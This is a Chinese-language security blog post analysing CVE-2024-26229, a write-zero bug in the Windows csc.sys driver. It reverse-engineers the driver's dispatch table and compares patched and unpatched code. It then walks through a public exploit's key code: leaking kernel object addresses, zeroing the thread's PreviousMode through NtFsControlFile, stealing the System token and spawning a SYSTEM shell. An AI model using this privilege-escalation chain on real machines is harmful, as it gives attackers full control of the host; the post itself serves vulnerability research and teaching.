cve-2024-26229 漏洞分析

admin 2024年12月15日23:32:45评论4 views字数 9877阅读32分55秒阅读模式

原文首发在:奇安信攻防社区

https://forum.butian.net/share/3101

CSC 漏洞分析

前几日,有人在github中放出了CVE-2024-26229的利用脚本,这里我们就借此机会,分析一下这个漏洞的成因,以及一些利用技巧

背景介绍

Windows 支持很多基于网络的文件服务系统,例如SMB或者Webdav,这类服务允许程序能够在联网状态下对不同设备上的文件进行访问。然而有些场合,我们会希望在断网的情况下也能保留对这些远程文件的修改,并且在网络恢复后同步数据。此时 Windows会提供一种叫做Client Side Caching"的服务。这个服务能够保证在离线状态下,依然能够访问这些基于联网的文件,并且在网络恢复后能够将对应的修改更新到对应文件中。

cve-2024-26229 漏洞分析
这里的csc.sys即为对应服务的模块。这个模块是一种叫做内核网络迷你重定向(Mini-Redirector)模块,简单来说就是一种能够处理网络文件系统操作的驱动。例如去重定义对网络文件的读写,维护认证等功能,详细解释可以看这里。

基础知识介绍

为了方便对漏洞成因的介绍,这边会介绍一些基础知识,直接看漏洞成因的可跳转到漏洞成因部分

NtFsControlFile 与 IRP

Windows在涉及与内核通信的时候,会使用一种叫做IRP(I/O Request Package)的IO数据包,将用户态的必要数据带入到内核态,再有内核态进行处理后返回。这个IRP可以注册多种处理,包括常见的文件读写,创建等等。其中当为了能够直接与特定类型设备通信的时候,会在内核态注册一种叫做IRP_MJ_DEVICE_CONTROL的调用函数,此时用户态可通过DeviceIOCoontrol与其通信。类似的,当操作涉及文件系统的时候,通常会注册针对文件系统的IRP_MJ_FILE_SYSTEM_CONTROL,此时与设备通信的时候就会用到NtFsControlFile
此函数的描述如下:

NtFsControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );

其中介绍几个比较重要的参数:

  • FileHandle:指向打开的设备句柄

  • IoStatusBlock:指向IO操作结果的指针

  • FSControlCode:用于描述访问结构的ControlCode,类似于IOCTL

  • InputBuffer:用户输入数据的指针地址

  • InputBufferLength:用户输入数据的长度

  • OutputBuffer:用户输出数据的指针地址

  • OutputBufferLength:用户输出数据的长度

实际上严格来说FSCTL与IOCTL非常相似,尤其是从数据传输角度来说,从官方文档来看,用户态对这两种过程使用过程应当是大差不差的

当进行这几种直接通信的过程时候,用户通常可以直接从用户态传入两段内存地址,用于存储输入和输出。以类似的DeviceIOControl为例:

if (!DeviceIoControl(hDrv, IOCTL, input, dwInputSize, output, dwOutputSize, &dwRetSize, NULL)) {
UsrDbgPrint("[*] Send IOCTL error with %xn", GetLastError());
return false;
}

函数需要传入以下参数

  • 设备句柄,使用CreateFile创建

  • IOCTL

  • 用户输入的缓存区地址和大小

  • 用户输出的缓存区地址和大小

  • 实际返回的大小指针

那这里会产生一个疑问:这里的输入缓存区和输出缓存区究竟是如何传递给内核的呢?此时有三种可能

  • Windows使用了它自己申请的一段内存,维护了我们的输入输出缓存区,在内核处理的时候使用了它自己维护的内存数据

  • Windows会针对用户的输入输出内存,映射一段内核空间,利用自己维护的内存描述符来访问这段物理内存

  • Windows直接使用来自用户态的输入输出内存地址,直接操作

这三种不同的内存处理方式在Windows驱动中都是被允许的,它们分别被叫做

  • METHOD_BUFFERED

  • METHOD_IN_DIRECT | METHOD_OUT_DIRECT

  • METHOD_NEITHER

具体区别可以参考这位师傅写的文章 这里大致描述一下区别就是:

  • 使用BUFFERED模式的时候,Windows会主动申请内存来维护我们的输入和输出,此时最安全

  • 使用DIRECT模式的时候,效率相对较高,但是需要对DIRECT侧的数据进行保护,否则可能会导致蓝屏

  • 使用NEITHER模式的时候,由于直接使用了用户态地址,此时Windows不做任何防护机制

如何决定使用哪种方式呢?其中一个设置来自于IOCTL

cve-2024-26229 漏洞分析

IOCTL的最低两个bit会决定当前的内存传输类型,定义如下

#define METHOD_BUFFERED                 0
#define METHOD_IN_DIRECT 1
#define METHOD_OUT_DIRECT 2
#define METHOD_NEITHER 3

当使用不同的传输类型的时候,Windows的检查等级也会有所不同

  • 使用BUFFERED模式时,会由Windows内核解析函数保证输入输出缓存(Type3InputBuffer,OutputBuffer) 大小必须与用户传入的数据大小匹配,并且均为可读可写状态

  • 使用DIRECT模式时,会由Windows内核解析函数保证部分缓存是合理的,剩下的需交给内核中使用内存的函数进行判断

  • 使用NEITHER模式时,Windows内核解析函数不做任何检查,需要完全交予内核处理函数进行见检查

漏洞分析

在分析过程中发现,微软提供的驱动的符号已经过时,导致部分结构体对不上,这里记录一些分析过程。不感兴趣可以直接跳转到漏洞成因部分

逆向分析

分发表还原

首先在csc.sys这类Mini-Redirector模块的初始化过程中,会使用函数RxRegisterMinirdr进行注册。这个函数会将当前的驱动模块注册到 RDBSS Redirected Drive Buffering Subsystem(重定向驱动缓存子系统)中。此时其可以通过提供分发表(第三个参数MrdrDispatch)来更加松散的注册对应的分发表:

 CscInitializeDispatchTable();
Value = RxRegisterMinirdr(
&CscDeviceObject,
DriverObject,
&MrdrDispatch,
0x1F2u,
&CscMiniRedirectorName,
0xAA0u,
0x14u,
0x10u);

不过正如前面所说,官方提供的符号似乎有问题,导致MrdrDispatch对应的调用关系错乱,于是只能自己逆向部分逻辑。

通过网上公开的exp,调试后可以找到关键的调用栈如下

00 ffff9787`16ec3128 fffff801`5cac0594     csc!CscDevFcbXXXControlFile
01 ffff9787`16ec3130 fffff801`5ca529dc rdbss!RxCommonDevFCBFsCtl+0x284
02 ffff9787`16ec3190 fffff801`5cabc594 rdbss!RxFsdCommonDispatch+0x6ac
03 ffff9787`16ec3360 fffff801`5cb72a0a rdbss!RxFsdDispatch+0x84
04 ffff9787`16ec33b0 fffff801`c752bf1d csc!CscFsdDispatch+0x8a
05 ffff9787`16ec3430 fffff801`5bc79ba3 nt!IofCallDriver+0x4d
06 ffff9787`16ec3470 fffff801`5bc78d21 mup!MupStateMachine+0x1b3
07 ffff9787`16ec34f0 fffff801`c752bf1d mup!MupFsControl+0xc1

在这里的rdbss!RxCommonDevFCBFsCtl+0x284会涉及函数调用,检查汇编可知其调用逻辑如下:

mov     rax, qword ptr [rdi+160h]
mov rax, qword ptr [rax+230h]
call cs:__guard_dispatch_icall_fptr

可知0x230偏移为对应函数CscDevFcbXXXControlFile,于是根据原先的符号,可以在csc!CscInitializeDispatchTable中可以还原部分函数表初始化过程:

  memset(&MrdrDispatch, 0, sizeof(MrdrDispatch));
MrdrDispatch.t05 = 0i64;
MrdrDispatch.MRxStart = (__int64)CscStart;
MrdrDispatch.MRxDevFcbXXXControlFile = (__int64)CscDevFcbXXXControlFile;
MrdrDispatch.MRxCreateSrvCall = (__int64)CscCreateSrvCall;
MrdrDispatch.MRxSrvCallCompletion = (__int64)CscSrvCallCompletion;

参数还原

函数CscDevFcbXXXControlFile会传入一个来自于分发过程中的上下文参数,叫做_RX_CONTEXT,然而这个参数也是过时的,我们需要重构参数结构体。从csc!CscFsdDispatch开始会涉及RXContext内容,通过调用可以得知,这个结构体实际上是由rdbss这个模块构建。于是我们可以通过分析这个模块得到需要的结构体信息。首先再这里找到一个叫做RxCreateRxContextEx的函数,可以根据其还原RxContext的大小。

cve-2024-26229 漏洞分析

同时根据分发函数RxFsdCommonDispatch,我们能够发现当进入分发状态后,程序会尝试在函数RxLowIoPopulateFsctlInfo调用过程中会将IO请求中的IRP中的内容进行浅拷贝。

NTSTATUS __stdcall RxLowIoPopulateFsctlInfo(New_RT_CONTEXT *RxContext, PIRP Irp)
{
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
v4 = 0;
FsControlCode = CurrentStackLocation->Parameters.FileSystemControl.FsControlCode;
RxContext->FsControlCode = FsControlCode;
RxContext->InputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.InputBufferLength;
RxContext->OutputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.OutputBufferLength;
RxContext->MinorFunction_ = CurrentStackLocation->MinorFunction;
v6 = FsControlCode & 3;
if ( v6 )
{
v8 = v6 - 1;
if ( v8 && (v9 = v8 - 1) != 0 )
{
if ( v9 == 1 )
{
RxContext->Type3InputBuffer = (__int64)CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer;
RxContext->irp_UserBuffer = (__int64)Irp->UserBuffer;
}
}
else
{
RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
MdlAddress = Irp->MdlAddress;
if ( MdlAddress )
{
if ( (MdlAddress->MdlFlags & 5) != 0 )
MappedSystemVa = MdlAddress->MappedSystemVa;
else
MappedSystemVa = MmMapLockedPagesSpecifyCache(MdlAddress, 0, MmCached, 0i64, 0, 0x40000010u);
v4 = MappedSystemVa == 0i64 ? 0xC000009A : 0;
}
else
{
MappedSystemVa = 0i64;
}
RxContext->irp_UserBuffer = (__int64)MappedSystemVa;
}
}
else
{
RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
RxContext->irp_UserBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
}
return v4;
}

至此,即可还原分析过程中所需的必要结构体。

漏洞成因

对比patch前后的驱动,能够发现漏洞修复发生在CscDevFcbXXXControlFile函数中。在未修复前,逻辑如下:

 if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
if ( a1->FsControlCode == 0x1401A3 )
{
Type3InputBuffer = a1->Type3InputBuffer;
v4 = 0;
a1->t23 = 0i64;
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
}
}

进行修复之后,逻辑变成了

if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
v10 = *(_QWORD *)(FSCtx + 40);
if ( a1->FsControlCode == 0x1401A3 )
{
if ( (unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage() )
{
InputBufferLength = a1->InputBufferLength;
a1->t23 = 0i64;
if ( InputBufferLength < 0x24 )
{
v2 = -1073741789;
}
else
{
Type3InputBuffer = a1->Type3InputBuffer;
if ( a1->irp->RequestorMode )
ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u);
if ( *(_DWORD *)(Type3InputBuffer + 4) == 6 )
{
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
v2 = 0;
}
else
{
v2 = -1073741811;
}
//。。。
}
}
}
}

可以看到,程序增加了多个验证逻辑

  • 要求InputBufferLength必须大于0x24

  • 当请求来自于用户态的时候,必须对Type3InputBuffer进行检查,保证Type3InputBuffer必须为用户态的内存空间,且至少有4字节的空间

根据FsControlCode可知,当前使用的FSCTL最后两bit为3,表明当前传输类型为NEITHER模式。此时Type3InputBuffer指向由用户态传入NtFsControlFile的指针InputBuffer,并且该指针完全不被内核解析处理。这样一来,指针指向的地址是否合法,以及指针内容的大小均不被检查,所以此处的指针可以写入任意地址中。总结一下,漏洞即为由于对指针使用检查不严谨,导致了一个可以往用户可控内存地址写入0的漏洞出现。

漏洞利用

任意地址写0,乍一听其实还蛮难利用的,不过在Windows 23 年之前的部分版本(新版Windows已经将Handle泄露的技巧堵上了),可以使用一种修改 PeviouseMode 的简单办法进行漏洞利用。这里介绍一下这种利用技巧:

KernelMode和UserMode

在Windows调用过程中,每一个线程都是独立的执行单位,意味着无论是用户态还是内核态需要执行程序的时候,都要创建一条线程来进行工作。然而对于类似DeviceIOContrl这样的回调例程,它很多功能可能是仅对内核开放,抑或是用户态的请求需要更加严格的检查,此时Windows就需要提供一种办法,让这些例程能够判断当前线程是否来自于用户态。这个字段就源自于ETHREAD中的PreviousMode。

cve-2024-26229 漏洞分析

在Windows调用过程中,会发现存在ZwNt两种开头的函数。这两个函数从用户态视角看是一致的,因为用户态提供的Zw函数和Nt函数本质上都是Nt函数。但是如果从内核态看,Zw函数不会对传入的参数进行判断,而Nt则会根据PreviousMode考虑是否对当前传入的参数进行检查,这就需要内核开发者正确的使用对应例程来解决。

PreviousMode非常直观的分为两种:UserMode和KernelMode,前者表示线程由用户态进程创建,后者表示由内核态进程创建。

typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;

FSCTL或者IOCTL调用例程过程中,假设我们实际是由用户态进程发起的请求,那么尽管我们的执行流来到了内核态,但是由于当前线程是由用户态创建,所以其实此时的PreviousMode也为UserMode,因此大部分的对应例程都会对这类请求进行防护。

从任意地址写0到LPE

在2018年的Bluehat上,Kaspersky研究员提出了一种很有趣的利用技巧,对于NtReadVirtualMemoryNtWriteVirtualMemory这类函数,在PreviouseMode为UserMode的时候,它会检查当前访问的地址空间是否为用户态可访问的空间,但当PreviouseModeKernelMode的时候,并不会进行这类检查

__int64 __fastcall MiReadWriteVirtualMemory(
ULONG_PTR BugCheckParameter1,
unsigned __int64 baseAddr,
unsigned __int64 Buffer,
__int64 NumberOfBytesToOp,
unsigned __int64 a5,
unsigned int a6)

{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v7 = baseAddr;
CurrentThread = KeGetCurrentThread();
PreviousMode = CurrentThread->PreviousMode;
v23 = PreviousMode;
if ( PreviousMode )
{
if ( baseAddr + NumberOfBytesToOp < baseAddr
|| baseAddr + NumberOfBytesToOp > 0x7FFFFFFF0000i64
|| NumberOfBytesToOp + Buffer < Buffer
|| NumberOfBytesToOp + Buffer > 0x7FFFFFFF0000i64 )
{
return 0xC0000005i64;
}
// skip other code
}
}

也就是说,当我们能够想办法将当前线程的PreviouseMode值为0的时候,我们即可绕过内存地址检查,直接调用NtReadVirtualMemory或者NtWriteVirtualMemory实现真正意义的任意地址写

EXP最终利用(旧版本)

当我们能够实现任意地址写,即可配合这个github中提到的Windows常见泄露技巧,尝试泄露敏感进程(System进程)的Token,并且将该Token写入我们当前进程,即可实现提权。

这边结合公开的脚本分析一下利用流程

  1. 首先利用由NtQuerySystemInformation封装的函数GetObjPtr泄露System进程的EPROCESS以及当前线程的ETHREAD

GetObjPtr(&Sysproc, 4, 4); // 泄露System EPROCESS,准备从这边获取token
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); // 获取当前线程ETHREAD,进行PreviousMode替换
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); // 泄露当前进程的EPROCESS,准备替换token
  1. 触发漏洞,将当前线程PreviousMode改写成0

status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %xn", status);
return status;
}
  1. 此时,可以实现往内核地址的读写,将System进程Token地址拷贝到当前进程

Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
  1. 恢复PreviousMode,此时该进程完成提权

//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

//
// spawn the shell with "nt authoritysystem"
//

system("cmd.exe");

总结

漏洞本身比较简单,不过攻击面本身基于网络文件系统,分析过程略有难度;
利用在稍老的Windows版本上属于比较经典的用法,不过在新版本上由于已经无法利用NtQuerySystemInformation泄露Handle,可能需要使用其他的攻击原语完成攻击,感兴趣的同学可以尝试使用其他的常见原语进行漏洞利用,这里不展开介绍。

参考文章

https://www.cnblogs.com/iBinary/p/15838812.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE375Xk
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode
https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c

原文始发于微信公众号(TtTeam):cve-2024-26229 漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月15日23:32:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cve-2024-26229 漏洞分析http://cn-sec.com/archives/3509926.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息